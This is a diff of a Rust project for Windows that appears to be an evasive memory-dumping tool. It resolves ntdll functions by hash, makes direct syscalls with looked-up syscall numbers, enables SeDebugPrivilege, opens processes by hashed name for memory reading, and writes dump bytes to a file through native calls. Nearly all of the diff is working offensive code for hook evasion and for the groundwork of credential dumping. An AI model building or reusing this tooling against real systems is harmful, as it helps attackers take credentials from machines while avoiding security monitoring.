pub type HANDLE = *mut c_void;
|
||||
pub type AccessMask = ULONG;
|
||||
|
||||
#[repr(C)]
|
||||
pub struct ObjectAttributes {
|
||||
pub length: ULONG,
|
||||
pub root_directory: HANDLE,
|
||||
pub object_name: *mut UnicodeString,
|
||||
pub attributes: ULONG,
|
||||
pub security_descriptor: *mut c_void,
|
||||
pub security_quality_of_service: *mut c_void,
|
||||
}
|
||||
|
||||
impl ObjectAttributes {
|
||||
pub fn new() -> Self {
|
||||
ObjectAttributes {
|
||||
length: 0,
|
||||
root_directory: ptr::null_mut(),
|
||||
object_name: ptr::null_mut(),
|
||||
attributes: 0,
|
||||
security_descriptor: ptr::null_mut(),
|
||||
security_quality_of_service: ptr::null_mut(),
|
||||
}
|
||||
}
|
||||
|
||||
//InitializeObjectAttributes
|
||||
pub fn initialize(
|
||||
p: &mut ObjectAttributes,
|
||||
n: *mut UnicodeString,
|
||||
a: ULONG,
|
||||
r: HANDLE,
|
||||
s: *mut c_void,
|
||||
) {
|
||||
p.length = core::mem::size_of::<ObjectAttributes>() as ULONG;
|
||||
p.root_directory = r;
|
||||
p.attributes = a;
|
||||
p.object_name = n;
|
||||
p.security_descriptor = s;
|
||||
p.security_quality_of_service = ptr::null_mut();
|
||||
}
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct MemoryBasicInformation {
|
||||
pub base_address: *mut c_void,
|
||||
pub allocation_base: *mut c_void,
|
||||
pub allocation_protect: u32,
|
||||
pub region_size: u64,
|
||||
pub state: u32,
|
||||
pub protect: u32,
|
||||
pub r#type: u32,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct ProcessBasicInformation {
|
||||
pub exit_status: i32,
|
||||
pub peb_base_address: *mut c_void,
|
||||
pub affinity_mask: usize,
|
||||
pub base_priority: i32,
|
||||
pub unique_process_id: *mut c_void,
|
||||
pub inherited_from_unique_process_id: *mut c_void,
|
||||
}
|
||||
|
||||
pub const MEM_COMMIT: u32 = 0x1000;
|
||||
pub const PAGE_NOACCESS: u32 = 0x01;
|
||||
|
||||
#[repr(C)]
|
||||
#[derive(Clone, Copy)]
|
||||
pub struct LargeInteger {
|
||||
pub low_part: u32,
|
||||
pub high_part: i32,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
#[derive(Copy, Clone)]
|
||||
pub struct SectionPointer {
|
||||
@@ -383,6 +304,81 @@ pub fn find_peb() -> *mut PEB {
|
||||
peb_ptr
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
#[derive(Clone, Copy)]
|
||||
pub struct LargeInteger {
|
||||
pub low_part: u32,
|
||||
pub high_part: i32,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct ClientId {
|
||||
pub unique_process: *mut c_void,
|
||||
pub unique_thread: *mut c_void,
|
||||
}
|
||||
|
||||
impl ClientId {
|
||||
pub fn new() -> Self {
|
||||
ClientId {
|
||||
unique_process: core::ptr::null_mut(),
|
||||
unique_thread: core::ptr::null_mut(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct ObjectAttributes {
|
||||
pub length: c_ulong,
|
||||
pub root_directory: *mut c_void,
|
||||
pub object_name: *mut UnicodeString,
|
||||
pub attributes: c_ulong,
|
||||
pub security_descriptor: *mut c_void,
|
||||
pub security_quality_of_service: *mut c_void,
|
||||
}
|
||||
|
||||
impl ObjectAttributes {
|
||||
pub fn new() -> Self {
|
||||
ObjectAttributes {
|
||||
length: 0,
|
||||
root_directory: ptr::null_mut(),
|
||||
object_name: ptr::null_mut(),
|
||||
attributes: 0,
|
||||
security_descriptor: ptr::null_mut(),
|
||||
security_quality_of_service: ptr::null_mut(),
|
||||
}
|
||||
}
|
||||
|
||||
//InitializeObjectAttributes
|
||||
pub fn initialize(
|
||||
p: &mut ObjectAttributes,
|
||||
n: *mut UnicodeString,
|
||||
a: c_ulong,
|
||||
r: *mut c_void,
|
||||
s: *mut c_void,
|
||||
) {
|
||||
p.length = core::mem::size_of::<ObjectAttributes>() as c_ulong;
|
||||
p.root_directory = r;
|
||||
p.attributes = a;
|
||||
p.object_name = n;
|
||||
p.security_descriptor = s;
|
||||
p.security_quality_of_service = ptr::null_mut();
|
||||
}
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub union IO_STATUS_BLOCK_u {
|
||||
pub status: i32,
|
||||
pub pointer: *mut c_void,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct IoStatusBlock {
|
||||
pub u: IO_STATUS_BLOCK_u,
|
||||
pub information: c_ulong,
|
||||
}
|
||||
|
||||
pub const OBJ_CASE_INSENSITIVE: c_ulong = 0x40;
|
||||
|
||||
#[repr(C)]
|
||||
pub struct OSVersionInfo {
|
||||
pub dw_os_version_info_size: u32,
|
||||
@@ -390,7 +386,7 @@ pub struct OSVersionInfo {
|
||||
pub dw_minor_version: u32,
|
||||
pub dw_build_number: u32,
|
||||
pub dw_platform_id: u32,
|
||||
pub sz_csd_version: [u16; 128], // WCHAR is usually represented as u16 in Rust
|
||||
pub sz_csd_version: [u16; 128],
|
||||
pub dw_os_version_info_size_2: u32,
|
||||
pub dw_major_version_2: u32,
|
||||
pub dw_minor_version_2: u32,
|
||||
@@ -415,20 +411,31 @@ impl OSVersionInfo {
|
||||
}
|
||||
}
|
||||
}
|
||||
#[allow(dead_code)]
|
||||
|
||||
#[repr(C)]
|
||||
pub union IO_STATUS_BLOCK_u {
|
||||
pub status: i32,
|
||||
pub pointer: *mut c_void,
|
||||
pub struct MemoryBasicInformation {
|
||||
pub base_address: *mut c_void,
|
||||
pub allocation_base: *mut c_void,
|
||||
pub allocation_protect: u32,
|
||||
pub region_size: u64,
|
||||
pub state: u32,
|
||||
pub protect: u32,
|
||||
pub r#type: u32,
|
||||
}
|
||||
|
||||
#[allow(dead_code)]
|
||||
#[repr(C)]
|
||||
pub struct IoStatusBlock {
|
||||
pub u: IO_STATUS_BLOCK_u,
|
||||
pub information: u32,
|
||||
pub struct ProcessBasicInformation {
|
||||
pub exit_status: i32,
|
||||
pub peb_base_address: *mut c_void,
|
||||
pub affinity_mask: usize,
|
||||
pub base_priority: i32,
|
||||
pub unique_process_id: *mut c_void,
|
||||
pub inherited_from_unique_process_id: *mut c_void,
|
||||
}
|
||||
|
||||
pub const MEM_COMMIT: u32 = 0x1000;
|
||||
pub const PAGE_NOACCESS: u32 = 0x01;
|
||||
|
||||
#[repr(C)]
|
||||
pub struct LUID {
|
||||
pub low_part: u32,
|
||||
@@ -496,20 +503,6 @@ pub struct SystemThreadInformation {
|
||||
pub wait_reason: u32,
|
||||
}
|
||||
|
||||
#[repr(C)]
|
||||
pub struct ClientId {
|
||||
pub unique_process: *mut c_void,
|
||||
pub unique_thread: *mut c_void,
|
||||
}
|
||||
|
||||
impl ClientId {
|
||||
pub fn new() -> Self {
|
||||
ClientId {
|
||||
unique_process: core::ptr::null_mut(),
|
||||
unique_thread: core::ptr::null_mut(),
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
pub const STATUS_INFO_LENGTH_MISMATCH: i32 = 0xC0000004u32 as i32;
|
||||
pub const OBJ_CASE_INSENSITIVE: u32 = 0x40;
|
||||
pub const PROCESS_QUERY_INFORMATION: c_ulong = 0x0400;
|
||||
pub const PROCESS_VM_READ: c_ulong = 0x0010;
|
||||
@@ -0,0 +1,216 @@
|
||||
use core::ffi::c_ulong;
|
||||
|
||||
use crate::{debug_println, instance::get_instance};
|
||||
|
||||
use alloc::{string::String, vec::Vec};
|
||||
|
||||
use super::ntdef::{
|
||||
find_peb, IoStatusBlock, LargeInteger, ObjectAttributes, RtlUserProcessParameters,
|
||||
UnicodeString,
|
||||
};
|
||||
|
||||
pub const SYNCHRONIZE: c_ulong = 0x00100000;
|
||||
pub const STANDARD_RIGHTS_WRITE: c_ulong = 0x00020000;
|
||||
|
||||
pub const FILE_WRITE_DATA: c_ulong = 0x00000002;
|
||||
pub const FILE_WRITE_ATTRIBUTES: c_ulong = 0x00000100;
|
||||
pub const FILE_WRITE_EA: c_ulong = 0x00000010;
|
||||
pub const FILE_APPEND_DATA: c_ulong = 0x00000004;
|
||||
pub const FILE_GENERIC_WRITE: u32 = STANDARD_RIGHTS_WRITE
|
||||
| FILE_WRITE_DATA
|
||||
| FILE_WRITE_ATTRIBUTES
|
||||
| FILE_WRITE_EA
|
||||
| FILE_APPEND_DATA
|
||||
| SYNCHRONIZE;
|
||||
pub const FILE_OVERWRITE_IF: u32 = 0x00000005;
|
||||
|
||||
pub const FILE_SYNCHRONOUS_IO_NONALERT: u32 = 0x00000020;
|
||||
pub const FILE_NON_DIRECTORY_FILE: u32 = 0x00000040;
|
||||
|
||||
pub const FILE_SHARE_READ: c_ulong = 0x00000001;
|
||||
pub const FILE_SHARE_WRITE: c_ulong = 0x00000002;
|
||||
|
||||
pub fn save_file(dump_file_bytes: Vec<u8>, dump_file_name: &str) -> i32 {
|
||||
use core::{ffi::c_void, ptr::null_mut};
|
||||
|
||||
let mut handle: *mut c_void = null_mut();
|
||||
|
||||
// Retrieve current directory and handle failure
|
||||
let cwd = get_current_directory();
|
||||
if cwd.is_empty() {
|
||||
debug_println!("[-] Failed to retrieve current working directory");
|
||||
return -1;
|
||||
}
|
||||
|
||||
let mut buffer = [0u8; 512];
|
||||
|
||||
// Build NT path and handle failure
|
||||
let file_name = build_nt_path(&cwd, dump_file_name, &mut buffer);
|
||||
if file_name.is_empty() {
|
||||
debug_println!("[-] Failed to build NT path for file");
|
||||
return -1;
|
||||
}
|
||||
|
||||
let file_path: Vec<u16> = {
|
||||
let mut vec = Vec::with_capacity(file_name.len() + 1);
|
||||
for c in file_name.encode_utf16() {
|
||||
vec.push(c);
|
||||
}
|
||||
vec.push(0);
|
||||
vec
|
||||
};
|
||||
|
||||
// Initialize a Unicode string for the file path
|
||||
let mut unicode_string = UnicodeString::new();
|
||||
unicode_string.init(file_path.as_ptr());
|
||||
|
||||
let mut object_attributes = ObjectAttributes::new();
|
||||
ObjectAttributes::initialize(
|
||||
&mut object_attributes,
|
||||
&mut unicode_string, // NT path name
|
||||
0, // Flags for case-insensitivity and inheritance
|
||||
null_mut(), // No root directory
|
||||
null_mut(), // No security descriptor
|
||||
);
|
||||
|
||||
let mut io_status_block: IoStatusBlock = unsafe { core::mem::zeroed() };
|
||||
|
||||
let allocation_size: *mut LargeInteger = null_mut();
|
||||
|
||||
let desired_access: c_ulong = FILE_GENERIC_WRITE | SYNCHRONIZE;
|
||||
|
||||
let share_access: c_ulong = FILE_SHARE_READ | FILE_SHARE_WRITE;
|
||||
|
||||
let create_options: c_ulong = FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT;
|
||||
|
||||
let create_disposition: c_ulong = FILE_OVERWRITE_IF;
|
||||
|
||||
// Create the file using NtCreateFile
|
||||
let status: i32 = unsafe {
|
||||
get_instance().unwrap().ntdll.nt_create_file.run(
|
||||
&mut handle,
|
||||
desired_access,
|
||||
&mut object_attributes,
|
||||
&mut io_status_block,
|
||||
allocation_size,
|
||||
0,
|
||||
share_access,
|
||||
create_disposition,
|
||||
create_options,
|
||||
null_mut(),
|
||||
0,
|
||||
)
|
||||
};
|
||||
|
||||
if status < 0 {
|
||||
debug_println!("[-] Failed to create file with status: ", status);
|
||||
return status;
|
||||
}
|
||||
|
||||
// Initialize IO_STATUS_BLOCK for NtWriteFile
|
||||
let mut io_status_block_write: IoStatusBlock = unsafe { core::mem::zeroed() };
|
||||
|
||||
// Write the file content using NtWriteFile
|
||||
let status_write = unsafe {
|
||||
get_instance().unwrap().ntdll.nt_write_file.run(
|
||||
handle,
|
||||
null_mut(),
|
||||
null_mut(),
|
||||
null_mut(),
|
||||
&mut io_status_block_write,
|
||||
dump_file_bytes.as_ptr() as *mut c_void,
|
||||
dump_file_bytes.len() as u32,
|
||||
null_mut(),
|
||||
null_mut(),
|
||||
)
|
||||
};
|
||||
|
||||
if status_write < 0 {
|
||||
debug_println!("[-] Failed to write to file with status: ", status_write);
|
||||
unsafe { get_instance().unwrap().ntdll.nt_close.run(handle) };
|
||||
} else {
|
||||
debug_println!("[+] File created successfully!");
|
||||
}
|
||||
|
||||
// Close the file handle
|
||||
unsafe { get_instance().unwrap().ntdll.nt_close.run(handle) };
|
||||
|
||||
status_write
|
||||
}
|
||||
|
||||
pub fn unicodestring_to_string(unicode_string: &UnicodeString) -> Option<String> {
|
||||
if unicode_string.length == 0 || unicode_string.buffer.is_null() {
|
||||
return None;
|
||||
}
|
||||
|
||||
let slice = unsafe {
|
||||
core::slice::from_raw_parts(unicode_string.buffer, (unicode_string.length / 2) as usize)
|
||||
};
|
||||
|
||||
String::from_utf16(slice).ok()
|
||||
}
|
||||
|
||||
/// Retrieves the current working directory of the process by accessing the Process Environment Block (PEB).
|
||||
pub fn get_current_directory() -> String {
|
||||
unsafe {
|
||||
let peb = find_peb();
|
||||
if !peb.is_null() {
|
||||
let process_parameters = (*peb).process_parameters as *mut RtlUserProcessParameters;
|
||||
let cur_dir = &mut process_parameters.as_mut().unwrap().current_directory_path;
|
||||
|
||||
let dir_str = unicodestring_to_string(&(*cur_dir));
|
||||
if dir_str.is_some() {
|
||||
return dir_str.unwrap();
|
||||
}
|
||||
}
|
||||
}
|
||||
String::new()
|
||||
}
|
||||
|
||||
/// Builds an NT path based on the current working directory (cwd) and a file name.
|
||||
pub fn build_nt_path<'a>(cwd: &str, file_name: &str, buffer: &'a mut [u8]) -> &'a str {
|
||||
let mut offset = 0;
|
||||
|
||||
let nt_prefix = b"\\??\\";
|
||||
if nt_prefix.len() > buffer.len() {
|
||||
debug_println!(
|
||||
"[-] Buffer too small to hold NT prefix. Length: ",
|
||||
buffer.len(),
|
||||
false
|
||||
);
|
||||
return "";
|
||||
}
|
||||
buffer[offset..offset + nt_prefix.len()].copy_from_slice(nt_prefix);
|
||||
offset += nt_prefix.len();
|
||||
|
||||
let cwd_bytes = cwd.as_bytes();
|
||||
if offset + cwd_bytes.len() > buffer.len() {
|
||||
debug_println!(
|
||||
"[-] Buffer too small to hold current working directory. Length: ",
|
||||
buffer.len(),
|
||||
false
|
||||
);
|
||||
return "";
|
||||
}
|
||||
buffer[offset..offset + cwd_bytes.len()].copy_from_slice(cwd_bytes);
|
||||
offset += cwd_bytes.len();
|
||||
|
||||
let file_name_bytes = file_name.as_bytes();
|
||||
if offset + file_name_bytes.len() > buffer.len() {
|
||||
debug_println!(
|
||||
"[-] Buffer too small to hold file name. Length: ",
|
||||
buffer.len(),
|
||||
false
|
||||
);
|
||||
return "";
|
||||
}
|
||||
buffer[offset..offset + file_name_bytes.len()].copy_from_slice(file_name_bytes);
|
||||
offset += file_name_bytes.len();
|
||||
|
||||
if let Ok(result_str) = core::str::from_utf8(&buffer[..offset]) {
|
||||
result_str
|
||||
} else {
|
||||
debug_println!("[-] Failed to convert buffer to UTF-8 string.");
|
||||
""
|
||||
}
|
||||
}
|
||||
@@ -1,19 +1,42 @@
|
||||
#[cfg(feature = "verbose")]
|
||||
use libc_print::libc_println;
|
||||
|
||||
use alloc::vec::Vec;
|
||||
use core::{ffi::c_void, ptr::null_mut};
|
||||
|
||||
use crate::{common::utils::dbj2_hash, debug_println};
|
||||
|
||||
use super::{
|
||||
def::{
|
||||
AccessMask, ClientId, ObjectAttributes, SystemProcessInformation, OBJ_CASE_INSENSITIVE,
|
||||
STATUS_INFO_LENGTH_MISMATCH,
|
||||
},
|
||||
g_instance::instance,
|
||||
use core::{
|
||||
ffi::{c_ulong, c_void},
|
||||
ptr::null_mut,
|
||||
};
|
||||
|
||||
use crate::{
|
||||
debug_println,
|
||||
instance::get_instance,
|
||||
native::ntdef::{TokenPrivileges, LUID},
|
||||
};
|
||||
|
||||
use super::ntdef::{
|
||||
find_peb, ClientId, OSVersionInfo, ObjectAttributes, SystemProcessInformation,
|
||||
OBJ_CASE_INSENSITIVE, STATUS_INFO_LENGTH_MISMATCH,
|
||||
};
|
||||
|
||||
use crate::common::utils::dbj2_hash;
|
||||
|
||||
pub unsafe fn rtl_get_version(lp_version_information: &mut OSVersionInfo) -> i32 {
|
||||
// Get the pointer to the PEB
|
||||
let peb = find_peb();
|
||||
|
||||
if lp_version_information.dw_os_version_info_size
|
||||
!= core::mem::size_of::<OSVersionInfo>() as u32
|
||||
{
|
||||
return -1;
|
||||
}
|
||||
|
||||
// Fill in the version information from the PEB
|
||||
lp_version_information.dw_major_version = (*peb).os_major_version;
|
||||
lp_version_information.dw_minor_version = (*peb).os_minor_version;
|
||||
lp_version_information.dw_build_number = (*peb).os_build_number;
|
||||
lp_version_information.dw_platform_id = (*peb).os_platform_id;
|
||||
lp_version_information.sz_csd_version.fill(0);
|
||||
|
||||
0
|
||||
}
|
||||
|
||||
/// Takes a snapshot of the currently running processes.
|
||||
///
|
||||
/// This function utilizes the `NtQuerySystemInformation` function from the NT API to retrieve
|
||||
@@ -26,11 +49,11 @@ pub unsafe fn nt_process_snapshot(
|
||||
let mut length: u32 = 0;
|
||||
|
||||
// First call to determine the required length of the buffer for process information.
|
||||
let mut status =
|
||||
instance()
|
||||
.ntdll
|
||||
.nt_query_system_information
|
||||
.run(5, null_mut(), 0, &mut length);
|
||||
let mut status = get_instance()
|
||||
.unwrap()
|
||||
.ntdll
|
||||
.nt_query_system_information
|
||||
.run(5, null_mut(), 0, &mut length);
|
||||
|
||||
// Check if the call returned STATUS_INFO_LENGTH_MISMATCH (expected) or another error.
|
||||
if status != STATUS_INFO_LENGTH_MISMATCH && status != 0 {
|
||||
@@ -42,12 +65,11 @@ pub unsafe fn nt_process_snapshot(
|
||||
buffer.resize(length as usize, 0);
|
||||
|
||||
// Second call to actually retrieve the process information into the allocated buffer.
|
||||
status = instance().ntdll.nt_query_system_information.run(
|
||||
5,
|
||||
buffer.as_mut_ptr() as *mut c_void,
|
||||
length,
|
||||
&mut length,
|
||||
);
|
||||
status = get_instance()
|
||||
.unwrap()
|
||||
.ntdll
|
||||
.nt_query_system_information
|
||||
.run(5, buffer.as_mut_ptr() as *mut c_void, length, &mut length);
|
||||
|
||||
// Check if the process information retrieval was successful.
|
||||
if status != 0 {
|
||||
@@ -69,7 +91,7 @@ pub unsafe fn nt_process_snapshot(
|
||||
/// This function opens a handle to a target process by specifying its process ID (PID) and the desired access rights.
|
||||
/// The syscall `NtOpenProcess` is used to obtain the handle, and the function initializes the required structures
|
||||
/// (`OBJECT_ATTRIBUTES` and `CLIENT_ID`) needed to make the system call.
|
||||
pub unsafe fn get_process_handle(pid: i32, desired_access: AccessMask) -> *mut c_void {
|
||||
pub unsafe fn get_process_handle(pid: i32, desired_access: c_ulong) -> *mut c_void {
|
||||
let mut process_handle: *mut c_void = null_mut();
|
||||
|
||||
// Initialize object attributes for the process, setting up the basic structure with default options.
|
||||
@@ -88,7 +110,7 @@ pub unsafe fn get_process_handle(pid: i32, desired_access: AccessMask) -> *mut c
|
||||
client_id.unique_process = pid as _;
|
||||
|
||||
// Perform a system call to NtOpenProcess to obtain a handle to the specified process.
|
||||
instance().ntdll.nt_open_process.run(
|
||||
get_instance().unwrap().ntdll.nt_open_process.run(
|
||||
&mut process_handle,
|
||||
desired_access,
|
||||
&mut object_attributes,
|
||||
@@ -100,9 +122,9 @@ pub unsafe fn get_process_handle(pid: i32, desired_access: AccessMask) -> *mut c
|
||||
|
||||
/// Retrieves a handle to a process with the specified name hash and desired access rights using the NT API.
|
||||
///
|
||||
/// This function takes a process name hash, searches for its process ID (PID) using the `process_snapshot` function,
|
||||
/// This function takes a process name hash, searches for a matching process name using the `nt_process_snapshot` function,
|
||||
/// and then opens a handle to the process using `NtOpenProcess`.
|
||||
pub unsafe fn get_process_handle_by_name(name: u32, desired_access: AccessMask) -> *mut c_void {
|
||||
pub unsafe fn get_process_handle_by_name(name: u32, desired_access: c_ulong) -> *mut c_void {
|
||||
let mut snapshot: *mut SystemProcessInformation = null_mut();
|
||||
let mut size: usize = 0;
|
||||
|
||||
@@ -110,10 +132,7 @@ pub unsafe fn get_process_handle_by_name(name: u32, desired_access: AccessMask)
|
||||
let status = nt_process_snapshot(&mut snapshot, &mut size);
|
||||
|
||||
if status != 0 {
|
||||
debug_println!(
|
||||
"Failed to retrieve process snapshot: NTSTATUS: 0x{:X}",
|
||||
status
|
||||
);
|
||||
debug_println!("Failed to retrieve process snapshot with status: ", status);
|
||||
return null_mut();
|
||||
}
|
||||
|
||||
@@ -147,3 +166,56 @@ pub unsafe fn get_process_handle_by_name(name: u32, desired_access: AccessMask)
|
||||
|
||||
null_mut()
|
||||
}
|
||||
|
||||
/// This function enables the SeDebugPrivilege privilege using the NT API.
|
||||
pub unsafe fn enable_se_debug_privilege() -> i32 {
|
||||
const TOKEN_ADJUST_PRIVILEGES: u32 = 32u32;
|
||||
const TOKEN_QUERY: u32 = 8u32;
|
||||
|
||||
let current_process_handle = -1isize as *mut c_void;
|
||||
let mut token_handle: *mut c_void = null_mut();
|
||||
|
||||
// Open the process token.
|
||||
let ntstatus = get_instance().unwrap().ntdll.nt_open_process_token.run(
|
||||
current_process_handle,
|
||||
TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES,
|
||||
&mut token_handle,
|
||||
);
|
||||
|
||||
if ntstatus != 0 {
|
||||
debug_println!("[-] NtOpenProcessToken failed with status: ", ntstatus);
|
||||
return ntstatus;
|
||||
}
|
||||
|
||||
let luid = LUID {
|
||||
low_part: 20,
|
||||
high_part: 0,
|
||||
};
|
||||
|
||||
let mut token_privileges = TokenPrivileges {
|
||||
privilege_count: 1,
|
||||
luid: luid,
|
||||
attributes: 0x00000002,
|
||||
};
|
||||
|
||||
// Adjust token privileges to enable SeDebugPrivilege.
|
||||
let ntstatus = get_instance()
|
||||
.unwrap()
|
||||
.ntdll
|
||||
.nt_adjust_privileges_token
|
||||
.run(
|
||||
token_handle,
|
||||
false,
|
||||
&mut token_privileges,
|
||||
core::mem::size_of::<TokenPrivileges>() as u32,
|
||||
null_mut(),
|
||||
null_mut(),
|
||||
);
|
||||
|
||||
if ntstatus != 0 {
|
||||
debug_println!("[-] NtAdjustPrivilegesToken failed with status: ", ntstatus);
|
||||
return ntstatus;
|
||||
}
|
||||
|
||||
ntstatus
|
||||
}
|
||||
@@ -1,152 +0,0 @@
|
||||
use core::alloc::{GlobalAlloc, Layout};
|
||||
use core::cell::UnsafeCell;
|
||||
use core::ffi::c_void;
|
||||
use core::ptr::null_mut;
|
||||
use core::sync::atomic::Ordering;
|
||||
use core::sync::atomic::{AtomicBool, AtomicIsize};
|
||||
|
||||
use crate::common::ldrapi::{ldr_function, ldr_module};
|
||||
use crate::run_syscall;
|
||||
|
||||
use super::syscall::NtSyscall;
|
||||
use super::syscall_gate::get_ssn;
|
||||
|
||||
// Atomic flag contains the last status of an NT syscall.
|
||||
pub static NT_ALLOCATOR_STATUS: AtomicIsize = AtomicIsize::new(0);
|
||||
|
||||
// Atomic flag to ensure initialization happens only once.
|
||||
static INIT: AtomicBool = AtomicBool::new(false);
|
||||
|
||||
// Static variables to hold the configuration and syscall information, wrapped in UnsafeCell for interior mutability.
|
||||
static mut NT_ALLOCATE_VIRTUAL_MEMORY_SYSCALL: UnsafeCell<Option<NtSyscall>> =
|
||||
UnsafeCell::new(None);
|
||||
|
||||
static mut NT_FREE_VIRTUAL_MEMORY_SYSCALL: UnsafeCell<Option<NtSyscall>> = UnsafeCell::new(None);
|
||||
|
||||
/// Unsafe function to perform the initialization of the static variables.
|
||||
/// This includes locating and storing the addresses and syscall numbers for `NtAllocateVirtualMemory` and `NtFreeVirtualMemory`.
|
||||
pub unsafe fn initialize() {
|
||||
// Check if initialization has already occurred.
|
||||
if !INIT.load(Ordering::Acquire) {
|
||||
// Get the address of ntdll module in memory.
|
||||
let ntdll_address = ldr_module(0x1edab0ed);
|
||||
|
||||
// Initialize the syscall for NtAllocateVirtualMemory.
|
||||
let alloc_syscall_address = ldr_function(ntdll_address, 0xf783b8ec);
|
||||
let alloc_syscall = NtSyscall {
|
||||
address: alloc_syscall_address,
|
||||
number: get_ssn(alloc_syscall_address),
|
||||
hash: 0xf783b8ec,
|
||||
};
|
||||
|
||||
*NT_ALLOCATE_VIRTUAL_MEMORY_SYSCALL.get() = Some(alloc_syscall);
|
||||
|
||||
// Initialize the syscall for NtFreeVirtualMemory.
|
||||
let free_syscall_address = ldr_function(ntdll_address, 0x2802c609);
|
||||
let free_syscall = NtSyscall {
|
||||
address: free_syscall_address,
|
||||
number: get_ssn(free_syscall_address),
|
||||
hash: 0x2802c609,
|
||||
};
|
||||
|
||||
*NT_FREE_VIRTUAL_MEMORY_SYSCALL.get() = Some(free_syscall);
|
||||
|
||||
// Set the initialization flag to true.
|
||||
INIT.store(true, Ordering::Release);
|
||||
}
|
||||
}
|
||||
|
||||
/// Function to ensure that initialization is performed if it hasn't been already.
|
||||
fn ensure_initialized() {
|
||||
unsafe {
|
||||
if !INIT.load(Ordering::Acquire) {
|
||||
initialize();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Function to get a reference to the NtAllocateVirtualMemory syscall, ensuring initialization first.
|
||||
fn get_nt_allocate_virtual_memory_syscall() -> &'static NtSyscall {
|
||||
ensure_initialized();
|
||||
unsafe {
|
||||
NT_ALLOCATE_VIRTUAL_MEMORY_SYSCALL
|
||||
.get()
|
||||
.as_ref()
|
||||
.unwrap()
|
||||
.as_ref()
|
||||
.unwrap()
|
||||
}
|
||||
}
|
||||
|
||||
/// Function to get a reference to the NtFreeVirtualMemory syscall, ensuring initialization first.
|
||||
fn get_nt_free_virtual_memory_syscall() -> &'static NtSyscall {
|
||||
ensure_initialized();
|
||||
unsafe {
|
||||
NT_FREE_VIRTUAL_MEMORY_SYSCALL
|
||||
.get()
|
||||
.as_ref()
|
||||
.unwrap()
|
||||
.as_ref()
|
||||
.unwrap()
|
||||
}
|
||||
}
|
||||
|
||||
/// Custom allocator using NT system calls.
|
||||
pub struct NtVirtualAlloc;
|
||||
|
||||
unsafe impl GlobalAlloc for NtVirtualAlloc {
|
||||
/// Allocates memory as described by the given `layout` using NT system calls.
|
||||
///
|
||||
/// This function uses the `NtAllocateVirtualMemory` system call to allocate memory.
|
||||
/// The memory is allocated with `PAGE_READWRITE` protection, which allows both
|
||||
/// reading and writing. This is appropriate for most use cases like vectors and strings.
|
||||
unsafe fn alloc(&self, layout: Layout) -> *mut u8 {
|
||||
// Pointer to the allocated memory.
|
||||
let mut p_address: *mut c_void = null_mut();
|
||||
// Size of the memory to allocate.
|
||||
let region_size = layout.size();
|
||||
// Handle to the current process (-1).
|
||||
let h_process: *mut u8 = -1isize as _;
|
||||
|
||||
let alloc_syscall = get_nt_allocate_virtual_memory_syscall();
|
||||
|
||||
let ntstatus = run_syscall!(
|
||||
(*alloc_syscall).number,
|
||||
(*alloc_syscall).address as usize,
|
||||
h_process,
|
||||
&mut p_address,
|
||||
0,
|
||||
&mut (region_size as usize) as *mut usize,
|
||||
0x3000, // MEM_COMMIT | MEM_RESERVE
|
||||
0x04 // PAGE_READWRITE
|
||||
);
|
||||
|
||||
NT_ALLOCATOR_STATUS.store(ntstatus as isize, Ordering::SeqCst);
|
||||
|
||||
// If the allocation fails, return null; otherwise, return the allocated address.
|
||||
p_address as *mut u8
|
||||
}
|
||||
|
||||
/// Deallocates the block of memory at the given `ptr` pointer with the given `layout` using NT system calls.
|
||||
///
|
||||
/// This function uses the `NtFreeVirtualMemory` system call to deallocate memory.
|
||||
unsafe fn dealloc(&self, ptr: *mut u8, layout: Layout) {
|
||||
// Size of the memory to deallocate.
|
||||
let mut region_size = layout.size();
|
||||
// Handle to the current process (-1).
|
||||
let h_process: *mut u8 = -1isize as _;
|
||||
|
||||
let free_syscall = get_nt_free_virtual_memory_syscall();
|
||||
|
||||
let ntstatus = run_syscall!(
|
||||
(*free_syscall).number,
|
||||
(*free_syscall).address as usize,
|
||||
h_process,
|
||||
&mut (ptr as *mut c_void),
|
||||
&mut region_size,
|
||||
0x8000 // MEM_RELEASE
|
||||
);
|
||||
|
||||
NT_ALLOCATOR_STATUS.store(ntstatus as isize, Ordering::SeqCst);
|
||||
}
|
||||
}
|
||||
@@ -1,150 +0,0 @@
|
||||
#[cfg(feature = "verbose")]
|
||||
use libc_print::libc_println;
|
||||
|
||||
use crate::debug_println;
|
||||
|
||||
use alloc::vec::Vec;
|
||||
|
||||
use super::{def::IoStatusBlock, g_instance::instance};
|
||||
|
||||
use super::{
|
||||
def::{AccessMask, LargeInteger, ObjectAttributes, UnicodeString},
|
||||
utils::{build_nt_path, get_current_directory},
|
||||
};
|
||||
|
||||
pub const SYNCHRONIZE: AccessMask = 0x00100000;
|
||||
pub const STANDARD_RIGHTS_WRITE: AccessMask = 0x00020000;
|
||||
|
||||
pub const FILE_WRITE_DATA: AccessMask = 0x00000002;
|
||||
pub const FILE_WRITE_ATTRIBUTES: AccessMask = 0x00000100;
|
||||
pub const FILE_WRITE_EA: AccessMask = 0x00000010;
|
||||
pub const FILE_APPEND_DATA: AccessMask = 0x00000004;
|
||||
pub const FILE_GENERIC_WRITE: u32 = STANDARD_RIGHTS_WRITE
|
||||
| FILE_WRITE_DATA
|
||||
| FILE_WRITE_ATTRIBUTES
|
||||
| FILE_WRITE_EA
|
||||
| FILE_APPEND_DATA
|
||||
| SYNCHRONIZE;
|
||||
pub const FILE_OVERWRITE_IF: u32 = 0x00000005;
|
||||
|
||||
pub const FILE_SYNCHRONOUS_IO_NONALERT: u32 = 0x00000020;
|
||||
pub const FILE_NON_DIRECTORY_FILE: u32 = 0x00000040;
|
||||
|
||||
pub const FILE_SHARE_READ: AccessMask = 0x00000001;
|
||||
pub const FILE_SHARE_WRITE: AccessMask = 0x00000002;
|
||||
|
||||
